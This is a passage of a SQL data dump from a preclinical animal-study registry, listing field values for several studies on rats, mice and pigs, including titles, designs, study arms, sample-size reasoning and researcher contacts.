	(5419,117,'no_exclusive_animal_use_details','\"Extra tissues from this study including the calf, quadriceps, hamstring, ankle joint, knee joint, hip joint of the strained lower limb and the thoracolumbar fascia will be used for another project. This project will investigate the efffect of tibialis anterior strain on the muscles, joints and fasciae of lower limb and spine. \"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5420,117,'species','\"rat\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5421,117,'strain','\"Wistar rats \"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5422,117,'sex','\"male\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5423,117,'experimental_design','\"We will be using a strain model that has been developed by Nikolaou et al., 1987.  For the strain groups, each rat will be weighted using a commercial scale. Then, each rat will be anesthetized with intramuscular injection of ketamine\\/xylazine (100 and 20 mg kg, respectively) (PaivaCarvalho et al., 2013). Afterwards, the animal will be positioned in a custom wooden frame for strain induction. Animal\\u2019s right hind limb will be positioned and strapped to the frame footplate, while maintaining the knee extended and ankle in 90\\u00ba dorsiflexion. A weight corresponding to 150% of the animal body weight will be attached gradually to the hook on the exterior of footplate. Graduation will be done by initially attaching a weight that corresponds to 25% of animal\\u2019s body weight. Then, the weight will increase by 25% increments every one minute until the complete weight is attached and kept for 20 minutes. The whole procedure will be repeated twice, with 3 min interval in between. No invasive procedure or surgery will be done at any time (Ramos et al., 2012).\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5424,117,'sample_size_calculation','\"no\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5425,117,'sample_size_calculation_details','\"Sample size calculation requires the availability of data from previous literature on similar methods and outcome measures; which is not available, thus, our study is considered a preliminary study. It is recommended that 6-8 animals can be used for studies investigating histomorphological changes, especially for quantitative analysis, if paired student t-test or repeated measures ANOVA at least 6-8 animals to be used. For studies planning on the use of unpaired student t-test to compare between groups, the recommended sample size is 8-12, which is the case in the current study. based on guidelines recommendations (An, Y.H and Bell TD: Experimental design, evaluation methods, data analysis, publications, and research ethics: In Animal models in orthopaedic research; Edited by An, Y.H. and Freidman, R.J. eds, CRC press 1998; pps 19:20).\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5426,117,'sum_of_animals','\"50 rats will be used \"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5427,117,'study_arms','[{\"type\":\"control\",\"number\":\"10\",\"intervention\":\"no intervention, base line measurements for the normal muscle and fascia structure \"},{\"type\":\"other\",\"number\":\"10\",\"intervention\":\"strained and sacrified 48h. after to indicate the inflammatory changes in the peak of acute stage \"},{\"type\":\"other\",\"number\":\"10\",\"intervention\":\"strained and sacrified 7 days after to indicate the inflammatory changes in the peak of reparative stage \"},{\"type\":\"other\",\"number\":\"10\",\"intervention\":\"strained and sacrified 14 days after to indicate the inflammatory changes in the remodeling stage \"},{\"type\":\"other\",\"number\":\"10\",\"intervention\":\"strained and sacrified 21 days after to indicate the inflammatory changes wehen the muscle is expected to regain its full function \"}]','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5428,117,'randomisation','\"yes\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5429,117,'randomisation_method_used','\"computer-generated_random_number_sequence\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5430,117,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5431,117,'investigators_blinded_intervention','\"yes\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5432,117,'yes_blinded_intervention_partially_details','\"No\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5433,117,'placebo_controlled','\"no\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5434,117,'has_embargo','\"yes\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5435,117,'application_number','\"CU\\/ \\u04c0\\u04c0\\u04c0\\/ F\\/ 72\\/ 17\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5436,118,'investigators_blinded_intervention','\"yes_partially\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5437,118,'yes_blinded_intervention_how_details','\"The allocation was concealed, but the performance of the intervention could not be concealed.\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5438,118,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5439,118,'randomisation','\"yes\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5440,118,'randomisation_method_used','\"other\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5441,118,'other_randomisation_method','\"drawing lots\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5442,118,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5443,118,'strain','\"Sprague-Dawley\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5444,118,'species','\"rat\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5445,118,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5446,118,'secondary_readout_parameter','\"Other renal function parameters creatinine clearance, fractional sodium excretion, creatinine glucose ratio and diuresis; renal histological damage; renal expression of NGAL and KIM-1.\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5447,118,'primary_readout_parameter','\"Efficacy: renal function as measured by plasma creatinine and urea, 48 hours post-op\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5448,118,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5449,118,'intervention_type','\"other\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5450,118,'other_intervention_type','\"ischemic conditioning\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5451,118,'hypothesis','\"Remote ischemic preconditioning has a protective effect against renal damage in a rat model of renal ischemia-reperfusion injury\"','2022-03-31 13:23:42','2022-03-31 13:23:46'),
	(5452,118,'research_field','\"nephrology\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5453,118,'study_status','\"completed_and_published_full-text\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5454,118,'start_date','\"2009-09-16\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5455,118,'end_date','\"2009-10-28\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5456,118,'title','\"Effects of remote ischemic preconditioning on renal damage in a rat model of renal ischemia-reperfusion injury\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5457,118,'short_title','\"RIPC in renal IRI\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5458,118,'contact_name','\"Kimberley Wever\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5459,118,'contact_role','\"executive researcher\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5460,118,'contact_email','\"kim.wever@radboudumc.nl\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5461,118,'study_centre','[{\"name\":\"Radboud university medical center\",\"city\":\"Nijmegen\",\"country\":\"NL\"}]','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5462,118,'financial_support','[\"investigator_driven\"]','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5463,118,'sex','\"male\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5464,118,'experimental_design','\"renal ischemia-reperfusion model\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5465,118,'sample_size_calculation','\"yes\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5466,118,'sample_size_calculation_details','\"We aim to detect a minimum difference in serum creatinine of 150umol\\/l, and we expect an SD of 80umol\\/l. We have 6 relevant comparisons between our experimental groups, which we want to test two-sided. We therefore use Bonferonni correction to adjust our desired significance level of p&lt;0.05 to p&lt;0.0083. This means that we need at least 9 animals per group at a powerconstant of 0.8. Because pilot data show that the SD is much lower in the sham operated group, we will limit this group to 6 animals. Because of possible mortality, we will have an additional 5 animals available. \"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5467,118,'sum_of_animals','\"56\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5468,118,'study_arms','[{\"type\":\"sham\",\"number\":\"6\",\"intervention\":\"sham surgery\"},{\"type\":\"control\",\"number\":\"10\",\"intervention\":\"renal IRI only\"},{\"type\":\"intervention\",\"number\":\"9\",\"intervention\":\"1x12 min RIPC unilateral\"},{\"type\":\"intervention\",\"number\":\"11\",\"intervention\":\"1x12 min RIPC unilateral\"},{\"type\":\"intervention\",\"number\":\"9\",\"intervention\":\"3x4 min RIPC unilateral\"},{\"type\":\"intervention\",\"number\":\"11\",\"intervention\":\"3x4 min RIPC bilateral\"}]','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5469,118,'placebo_controlled','\"yes\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5470,118,'application_number','\"2009-128\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5471,118,'link_to_data','\"doi: 10.1093\\/ndt\\/gfr103\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5472,118,'has_embargo','\"no\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5473,119,'title','\"Immunogenicity of T-independent antigen\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5474,119,'contact_name','\"Morgan McSweeney\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5475,119,'contact_email','\"morgan_mcsweeney@unc.edu\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5476,119,'study_centre','[{\"name\":\"University of North Carolina at Chapel Hill\",\"city\":\"Chapel Hill\",\"country\":\"US\"}]','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5477,119,'financial_support','[\"grants\"]','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5478,119,'start_date','\"2018-05-09\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5479,119,'end_date','\"2018-06-20\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5480,119,'study_status','\"active\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5481,119,'research_field','\"Immunology\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5482,119,'hypothesis','\"Our hypothesis is that repeated administration of the antigen of interest will not lead to significantly elevated antibody concentrations in vaccinated mice, relative to the weekly administration of saline.\\n\\nIn naive mice, our hypothesis is that the repeated administration of the antigen of interest will initially cause the production of antibody, but that continued administration will not lead to steadily-increasing antibody concentrations, relative to mice that are given saline injections.\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5483,119,'intervention_type','\"compound\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5484,119,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5485,119,'primary_readout_parameter','\"Safety: The concentration of antigen-specific antibodies is the primary outcome of interest. This will be measured and compared in mice that received either intravenous antigen or intravenous saline weekly for a total of 5 weeks.\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5486,119,'secondary_readout_parameter','\"Measures of systemic and organ-specific safety will be compared at the termination of the study. Mice will be weighed weekly over the course of the study. Blood and urine will be collected and used to conduct a metabolic panel as well as complete blood count, and comparisons between mice that received antigen\\/saline will be made. Liver and kidneys will be harvested and we will conduct H&amp;E as well as PAS staining to look for indication of organ-specific toxicity. We will perform IHC to monitor for the development of immune complex deposition. \"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5487,119,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5488,119,'species','\"mouse\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5489,119,'strain','\"Balb\\/c\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5490,119,'sex','\"female\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5491,119,'experimental_design','\"Balb\\/c with intravenous injection of antigen of interest \\/ normal saline.\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5492,119,'sum_of_animals','\"15\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5493,119,'study_arms','[{\"type\":\"sham\",\"number\":\"5\",\"intervention\":\"saline\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"antigen of interest\"}]','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5494,119,'randomisation','\"yes\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5495,119,'randomisation_method_used','\"computer-generated_random_number_sequence\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5496,119,'investigators_blinded_intervention','\"yes_partially\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5497,119,'yes_blinded_intervention_how_details','\"The technicians doing injections, weighing animals, and running toxicity assays (e.g. CBC, metabolic panel, histology) are blinded to treatment allocation. The physician and veterinarian analyzing IHC and histology results are blinded to treatment allocation.\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5498,119,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5499,119,'placebo_controlled','\"yes\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5500,119,'sample_size_calculation','\"no\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5501,119,'application_number','\"17-149\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5502,119,'has_embargo','\"no\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5503,120,'title','\"Effects of swimming and stretching initiation time on the healing of strain-induced muscle injury in rats\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5504,120,'short_title','\"Swimming and stretching after muscle injury\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5505,120,'contact_name','\"Aliaa Rehan Youssef\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5506,120,'contact_role','\"research group supervisor\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5507,120,'contact_email','\"aliaa.rihan@pt.cu.edu.eg\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5508,120,'study_centre','[{\"name\":\"kasr Alainy\",\"city\":\"Cairo, Egypt.\",\"country\":\"EG\"}]','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5509,120,'financial_support','[\"investigator_driven\"]','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5510,120,'start_date','\"2018-06-03\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5511,120,'end_date','\"2018-05-24\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5512,120,'study_status','\"not_started\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5513,120,'research_field','\"orthopedics \"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5514,120,'hypothesis','\"General Hypothesis\\nSwimming and stretching onset time will affect the healing and functional recovery after induced-strain muscle injury of TA muscle in Wister rats.\\n       Specific Hypotheses\\nThis study hypothesizes that:\\n1.\\tNormal and injured control groups will significantly differ with regards to:\\n   1.1.\\t Hind limb Function as measured by SFI.\\n   1.2.\\tTA muscle qualitative histopathological scoring.\\n   1.3.\\tTA muscle Histomorphometric analysis\\n2. Animals that will start swimming and stretching at the acute or subacute stages will have significantly recovery compared to injured control in terms of:\\n   2.1.\\tHind limb Function as measured by SFI.\\n   2.2.\\tTA muscle qualitative histopathological scoring.\\n   2.3.\\tTA muscle Histomorphometric analysis\\n3.\\tAnimals that will start swimming and stretching at the acute or subacute stages will not be significantly different from normal control in terms of :\\n   3.1.\\tHind limb Function as measured by SFI.\\n   3.2.\\tTA muscle qualitative histopathological scoring.\\n   3.3.\\tTA muscle Histomorphometric analysis\\n4.\\tAnimals that will start swimming and stretching at the acute or subacute stages will not be significantly different from each other in terms of:\\n   4.1.\\tHind limb Function as measured by SFI.\\n   4.2.\\tTA muscle qualitative histopathological scoring.\\n   4.3.\\tTA muscle Histomorphometric analysis\\n\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5515,120,'intervention_type','\"compound\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5516,120,'study_stage','\"study_stage_1_value\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5517,120,'has_embargo','\"yes\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5518,120,'link_to_data','\"https:\\/\\/www.ncbi.nlm.nih.gov\\/pmc\\/articles\\/PMC5774934\\/\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5519,120,'primary_readout_parameter','\"Efficacy: Rats will be randomly and equally assigned into five groups using excel random generation function; with ten rats in each group: one negative control will not receive strain or intervention and will be kept in regular cages, allowed free movement. One positive control groups will be strained and not receiving any intervention. Three study groups will receive every day swimming exercise Three study groups will have both stretching and swimming with same protocol except for the initiation time. \\n\\nGroup I: Stretching and swimming starting from the acute stage \\nAnimals with TA strain will start both swimming and passive stretching exercises from the 1st day following strain induction, daily for 8 consecutive days.\\nGroup II: Swimming starting from acute stage then stretching starting from subacute stage\\nAnimals with TA strain will start swimming from 1st day for 8 consecutive days, and start stretching from the 7th day and for 8 consecutive days.\\nGroup III: Swimming and stretching starting from subacute stage\\nAnimals with TA strain will start swimming and passive stretching exercises at the 7th day following strain induction, and for 8 consecutive days.\\n\\nStrain induction:\\n\\n Each rat will be anesthetized with intramuscular injection of ketamine\\/xylazine (100 and 20 mg kg, respectively) (PaivaCarvalho et al., 2013). Afterwards, the animal will be positioned in a custom wooden frame for strain induction. Animal\\u2019s right hind limb will be positioned and strapped to the frame footplate, while maintaining the knee extended. A weight corresponding to 150% of the animal body weight will be attached gradually to the hook on the exterior of footplate. Graduation will be done by initially attaching a weight that corresponds to 25% of animal\\u2019s body weight. Then, the weight will increase by 25% increments every one minute until the complete weight is attached and kept for 20 minutes. The whole procedure will be repeated twice, with 3 min interval in between. No invasive procedure or surgery will be done at any time (Ramos et al., 2012).  \\n\\nIntervention:\\n\\nStretching:\\nA passive static gentle manual stretching will be done to the TA muscle of right hind limb by planter flexing and everting the animals\\u2019 foot for 30 seconds, followed by an equal period of rest (Mohammad and Hassan, 2016). Stretching will be done to the limit of pain by monitoring rat\\u2019s response. Stretching will be repeated four times (Malliaropoulos et al., 2004), one session per day for 8 consecutive days. \\n\\nSwimming:\\nSwimming exercise will be done for 45 min\\/session and daily for 8 consecutive days with maintained temperature at approximately 30\\u00b0c (Faria et al., 2008). Before the actual start of study and induction of strain, conditioning on swimming will be done for 3 days.\\n\\nOutcome measures:\\n\\nSciatic functional index will be assessed in All groups before and at first day after injury, and then reassessment will be done before sacrifice. \\n\\nHistology and histomorphometry:\\n\\nAfter euthanasia, the TA muscle will be exposed and dissected bilaterally within fifteen minutes and fixed in formalin until prepared for histologic processing. Tissues will be stained with Hematoxylin and Eosin stain to examine cellular structure which will include fibre structure and arrangement, rounding of the nuclei, regional variations in cellularity, increased vascularity, decreased collagen stainability and hyalinization. Also Toluidine Blue dye will be used to assess mast cells whereas Alcian blue stain will be used to color GAGs-rich areas.\\n\\n\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5520,120,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5521,120,'species','\"rat\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5522,120,'strain','\"wistar\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5523,120,'sex','\"male\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5524,120,'experimental_design','\"muscle strain model \\n Each rat will be anesthetized with intramuscular injection of ketamine\\/xylazine (100 and 20 mg kg, respectively) (PaivaCarvalho et al., 2013). Afterwards, the animal will be positioned in a custom wooden frame for strain induction. Animal\\u2019s right hind limb will be positioned and strapped to the frame footplate, while maintaining the knee extended. A weight corresponding to 150% of the animal body weight will be attached gradually to the hook on the exterior of footplate. Graduation will be done by initially attaching a weight that corresponds to 25% of animal\\u2019s body weight. Then, the weight will increase by 25% increments every one minute until the complete weight is attached and kept for 20 minutes. The whole procedure will be repeated twice, with 3 min interval in between. No invasive procedure or surgery will be done at any time (Ramos et al., 2012).  \"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5525,120,'sample_size_calculation','\"no\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5526,120,'sample_size_calculation_details','\"Since there is no available data from previous study with the same methods and outcome  measures, \\nA sample of 10 animals per group will be used as recommended (An &amp; Bell, 1998).\\n\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5527,120,'sum_of_animals','\"50\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5528,120,'study_arms','[{\"type\":\"control\",\"number\":\"10\",\"intervention\":\"normal control\"},{\"type\":\"control\",\"number\":\"10\",\"intervention\":\"injured control\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"Stretching and swimming starting from the acute stage \"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"Swimming starting from acute stage then stretching starting from subacute stage\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"Swimming and stretching starting from subacute stage\"}]','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5529,120,'randomisation','\"yes\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5530,120,'randomisation_method_used','\"computer-generated_random_number_sequence\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5531,120,'details_randomisation','\"block_randomisation\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5532,120,'investigators_blinded_intervention','\"no\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5533,120,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5534,120,'placebo_controlled','\"no\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5535,121,'title','\"Electrophysiological, mechanical and structural effects of stem cell therapy (and microspheres) in the (pig) heart after a myocardial infarction\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5536,121,'contact_name','\"Nicoline Smit\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5537,121,'contact_role','\"Executive researcher\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5538,121,'contact_email','\"nicoline.smit@heart-institute.nl\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5539,121,'start_date','\"2014-07-01\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5540,121,'end_date','\"2018-07-01\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5541,121,'study_status','\"study_interrupted\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5542,121,'research_field','\"Cardiology\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5543,121,'hypothesis','\"To improve the survival of stem cells in the disease-affected heart and to map the effects of these stem cells (with or without collagen microspheres) on electrophysiological, mechanical and structural properties of the compromised heart.\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5544,121,'intervention_type','\"compound\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5545,121,'study_stage','\"study_stage_1_value\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5546,121,'exclusive_animal_use','\"no\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5547,121,'species','\"pig\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5548,121,'strain','\"Yorkshire\\/Coneywood \"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5549,121,'sex','\"male\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5550,121,'study_arms','[{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"Myocardial infarction + Saline infusion\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"Myocardial infarction + stem cells\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"Myocardial infarction + microspheres\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"Myocardial infarction + stem cells + microspheres\"}]','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5551,121,'randomisation','\"no\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5552,121,'investigators_blinded_intervention','\"yes_partially\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5553,121,'yes_blinded_intervention_how_details','\"Researches are blinded when analyzing the data\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5554,121,'yes_blinded_intervention_partially_details','\"Yes partially\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5555,121,'investigators_blinded_assessment','\"researches_are_blinded_when_analyzing_the_data\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5556,121,'placebo_controlled','\"no\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5557,121,'application_number','\"DCA103145\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5558,121,'has_embargo','\"no\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5559,121,'study_centre','[{\"name\":\"AMC\",\"city\":\"Amsterdam\",\"country\":\"NL\"}]','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5560,121,'financial_support','[\"industry\",\"grants\"]','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5561,121,'sample_size_calculation','\"yes\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5562,121,'sample_size_calculation_details','\"Based on results from in vitro studies we see that addition of stem cells leads to conduction slowing. This effect of conduction slowing disappeared when the stem cells were attached to the collagen microspheres. Based on our in vitro data we calculated the sample size for these animal experiments:\\nConduction slowing: a difference of 44% with a spread of 30% was measured. With an alpha of 0.05 and a power of 0.80 this results in a group size of 8 animals per group.\\n\\nWe think that the differences in vivo will be smaller than in vitro and think that with a group size of 10 animals per group, we can show the differences. \\n\\nTaking into account the expected drop-out at 20% (previous experience with this model) which is 2 to 3 pigs per group and a thus a possible loss of up to 12 pigs. We therefore want to request a total of 52 animals ((4*10)+12).\\n\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5563,121,'sum_of_animals','\"40\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5564,121,'primary_readout_parameter','\"Efficacy: The effects (Electrical, structural and mechanical) of stem cell therapy (with\\/without help of microspheres) after a myocardial infarction. All end points where determined 4 weeks after MI induction. Stem cell therapy was given directly after MI induction\\n\\nElectrical: In situ electrical mapping + Langendorff electrical mapping:  conduction velocity and inducibility of arrhythmias. Signals are recorded as unipolar extracellular electrograms.\\n\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5565,121,'secondary_readout_parameter','\"Structural: detection of stem cells, fibrosis and scar size\\nMechanical: Echos will be performed before induction of the infarction, after the induction of the infarction but before treatment and four weeks after treatment: LVEF, EDV and ESV.\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5566,121,'experimental_design','\"Myocardial infarction induction due to occlusion(90min) of a branching LAD. Occlusion will take place by making use of a balloon Cather that will be inserted via the carotis dextra. Prior to the 90min occlusion there will be pre-conditioning of 3x 5minutes.\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5567,121,'no_exclusive_animal_use_details','\"Within an other project the inverse technique (determining electrical activation and repolarizatiom of the heart in a noninvasive way) has been validated for normal (pig)heart (without deviations) however not in a comprised\\/sick heart. In a subset of the animals (those receiving saline, n=10) we want to validate the inverse technique.\\nThese additional measurements are not excepted to influence the outcome of the main project. \"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5568,122,'title','\"Pioglitazone-induced bone loss in diabetic rats: A portrait of molecular crosstalk\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5569,122,'short_title','\"Pioglitazone and bone loss\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5570,122,'contact_name','\"Mohammad Adil\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5571,122,'contact_role','\"Researcher\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5572,122,'contact_email','\"adil4pharma@gmail.com\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5573,122,'study_centre','[{\"name\":\"School of Pharmaceutical Education  and Research, Jamia Hamdard\",\"city\":\"New Delhi\",\"country\":\"IN\"}]','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5574,122,'financial_support','[\"grants\"]','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5575,122,'start_date','\"2016-12-26\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5576,122,'end_date','\"2017-04-28\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5577,122,'study_status','\"completed_and_published_full-text\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5578,122,'research_field','\"Diabetic osteopathy\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5579,122,'intervention_type','\"compound\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5580,122,'study_stage','\"study_stage_1_value\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5581,122,'hypothesis','\"Bone loss\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5582,122,'primary_readout_parameter','\"Efficacy: Based on bone mineral density and micro-architecture\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5583,122,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5584,122,'species','\"rat\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5585,122,'sex','\"male\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
	(5586,122,'strain','\"Wistar albino\"','2022-03-31 13:23:42','2022-03-31 13:23:42'),
